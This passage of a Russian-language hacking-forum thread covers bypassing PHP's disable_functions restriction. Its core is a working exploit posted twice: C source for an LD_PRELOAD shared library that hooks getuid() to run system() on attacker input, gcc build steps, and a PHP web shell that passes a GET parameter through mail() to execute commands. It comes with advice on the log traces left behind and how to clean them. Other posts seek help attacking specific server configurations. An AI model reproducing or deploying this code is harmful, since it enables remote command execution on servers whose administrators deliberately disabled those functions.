Старый 29.01.2015, 15:28   #11
Beched
 
Регистрация: 06.07.2010
Сообщений: 392
Репутация: 118
По умолчанию

Китайцы перевели заметку и протестили на PHP-FPM, у них получилось:
http://bobao.360.cn/learning/detail/225.html
Beched вне форума   Ответить с цитированием
Старый 27.06.2015, 23:33   #12
ewi
 
Регистрация: 02.04.2014
Сообщений: 75
Репутация: 2
Question

Код:
Uname: FreeBSD *** 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec 4 09:23:10 UTC 2012
Код:
[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)
[-] This exploit is for x64 Linux. Exiting
Где брать смещения для x32?
ewi вне форума   Ответить с цитированием
Старый 28.06.2015, 11:02   #13
SynQ
 
Регистрация: 11.07.2010
Сообщений: 950
Репутация: 351
По умолчанию

ewi
Разве у тебя подключена /proc?
SynQ вне форума   Ответить с цитированием
Старый 28.06.2015, 18:33   #14
ewi
 
Регистрация: 02.04.2014
Сообщений: 75
Репутация: 2
По умолчанию

SynQ
Не подключена, я понял, что тогда делать?

Полный php_uname:
Цитата:
FreeBSD *** 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec 4 09:23:10 UTC 2012
root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
То есть надо прогнать скрипт ещё раз, выходит облом:
Код:
[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)
[*] Trying to get open@plt offset in PHP binary
[-] Failed. Exiting

Последний раз редактировалось ewi; 28.06.2015 в 18:56..
ewi вне форума   Ответить с цитированием
Старый 28.06.2015, 20:35   #15
Beched
 
Регистрация: 06.07.2010
Сообщений: 392
Репутация: 118
По умолчанию

Цитата:
Сообщение от ewi Посмотреть сообщение
SynQ
Не подключена, я понял, что тогда делать?

Полный php_uname:


То есть надо прогнать скрипт ещё раз, выходит облом:
Код:
[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)
[*] Trying to get open@plt offset in PHP binary
[-] Failed. Exiting
В том твоём топике проглядел, что у тебя фряха -- в ней procfs выпиливают, поэтому этот способ не катит. Пробуй
Bug #46741.
Beched вне форума   Ответить с цитированием
Старый 29.06.2015, 10:59   #16
ewi
 
Регистрация: 02.04.2014
Сообщений: 75
Репутация: 2
По умолчанию

Bug #46741

Отработал на 100%
=)

https://bugs.php.net/bug.php?id=46741

Ещё раз исходная тема:
Цитата:
FreeBSD *** 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec 4 09:23:10 UTC 2012
Disabled PHP Functions: exec,passthru,shell_exec,system,proc_open,popen,cu rl_multi_exec,parse_ini_file,show_source
К тому же напоминаю неслабую версию php:
Цитата:
PHP: 5.4.14
Итак, чтобы скомпилить .so, я выбрал сервак с похожей фряхой, где доступна gcc (хотя может и без разницы какая система, хз)

Цитата:
FreeBSD **** 9.0-STABLE FreeBSD 9.0-STABLE #7: Mon Jun 18 17:34:21 MSK 2012
Код:
 $ gcc
gcc: No input files specified
a.c (вместо /var/www/ - путь на исходной системе, где будет лежать so):
Код:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int getuid()
{
char *en;
char *buf=malloc(300);
FILE *a;

unsetenv("LD_PRELOAD");
a=fopen("/var/www/.comm","r");
buf=fgets(buf,100,a);
write(2,buf,strlen(buf));
fclose(a); remove("/var/www/.comm");
rename("/var/www/a.so","/var/www/b.so");
buf=strcat(buf," > /var/www/.comm1");
system(buf);
rename("/var/www/b.so","/var/www/a.so");
free(buf);return 0;
}
Цитата:
$ gcc -c -fPIC a.c -o a.o
$ gcc a.o -shared -o a.so
теперь берем .so и кидаем на исходной фряхе по тому пути, что указали в си-файле

a.php (путь /var/www/ меняем точно как в .so)

Код:
<?php
putenv("LD_PRELOAD=/var/www/a.so");
$a=fopen("/var/www/.comm","w");
fputs($a,$_GET["c"]);
fclose($a);
mail("a","a","a","a");
$a=fopen("/var/www/.comm1","r");
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a); ?>
Профит!
Цитата:
a.php?c=id
Супер-благодарность Beched

P.S. Использование mail оставляет палевные логи, так как выполняется отправка на несуществующий адрес "a". Ответ приходит на внутреннюю почту юзера, под учеткой которого осуществляется выполнение скрипта (то есть если это www то на почту www, root - значит почта root). Чтение и чистка записей выполняется шелл-командой mail.

Последний раз редактировалось ewi; 07.07.2015 в 14:28.. Причина: дополнение
ewi вне форума   Ответить с цитированием
Старый 09.09.2015, 11:25   #17
SynQ
 
Регистрация: 11.07.2010
Сообщений: 950
Репутация: 351
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
Круче могла бы быть только правка списка disable_functions в памяти php
pdf на тему:
Shoot zend_executor_globals to bypass php disable_functions
SynQ вне форума   Ответить с цитированием
Старый 15.09.2015, 16:59   #18
iddqd
 
Регистрация: 15.09.2015
Сообщений: 1
Репутация: 0
По умолчанию

Цитата:
Сообщение от ewi Посмотреть сообщение
Bug #46741

Отработал на 100%
=)

https://bugs.php.net/bug.php?id=46741

Ещё раз исходная тема:


К тому же напоминаю неслабую версию php:


Итак, чтобы скомпилить .so, я выбрал сервак с похожей фряхой, где доступна gcc (хотя может и без разницы какая система, хз)



Код:
 $ gcc
gcc: No input files specified
a.c (вместо /var/www/ - путь на исходной системе, где будет лежать so):
Код:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int getuid()
{
char *en;
char *buf=malloc(300);
FILE *a;

unsetenv("LD_PRELOAD");
a=fopen("/var/www/.comm","r");
buf=fgets(buf,100,a);
write(2,buf,strlen(buf));
fclose(a); remove("/var/www/.comm");
rename("/var/www/a.so","/var/www/b.so");
buf=strcat(buf," > /var/www/.comm1");
system(buf);
rename("/var/www/b.so","/var/www/a.so");
free(buf);return 0;
}


теперь берем .so и кидаем на исходной фряхе по тому пути, что указали в си-файле

a.php (путь /var/www/ меняем точно как в .so)

Код:
<?php
putenv("LD_PRELOAD=/var/www/a.so");
$a=fopen("/var/www/.comm","w");
fputs($a,$_GET["c"]);
fclose($a);
mail("a","a","a","a");
$a=fopen("/var/www/.comm1","r");
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a); ?>
Профит!


Супер-благодарность Beched

P.S. Использование mail оставляет палевные логи, так как выполняется отправка на несуществующий адрес "a". Ответ приходит на внутреннюю почту юзера, под учеткой которого осуществляется выполнение скрипта (то есть если это www то на почту www, root - значит почта root). Чтение и чистка записей выполняется шелл-командой mail.




Доброго! Какие критические условия в данном способе? On 3.2.0-75-generic #110-Ubuntu SMP xxx 2014 x86_64 так и не заработало, хотя на ряде других все прошло успешно.
iddqd вне форума   Ответить с цитированием
Старый 03.06.2017, 23:56   #19
LorDo
 
Регистрация: 09.12.2014
Сообщений: 16
Репутация: 0
По умолчанию

При таком раскладе можно что-либо сделать :

Disabled Functions: dl, memory_limit, shell_exec, exec, system, passthru, popen, proc_open, proc_nice, proc_get_status, proc_close, proc_terminate, posix_mkfifo, set_time_limit, chown, chgrp

PHP Version 5.3.29
Linux SERVER 2.6.18-411.el5 #1 SMP Thu Jun 2 02:56:21 EDT 2016 x86_64
Server API Apache 2.0 Handler
LorDo вне форума   Ответить с цитированием
Старый 15.06.2018, 09:14   #20
man474019
 
Регистрация: 18.02.2015
Сообщений: 48
Репутация: 0
По умолчанию

https://github.com/l3m0n/Bypass_Disable_functions_Shell
https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html
man474019 вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot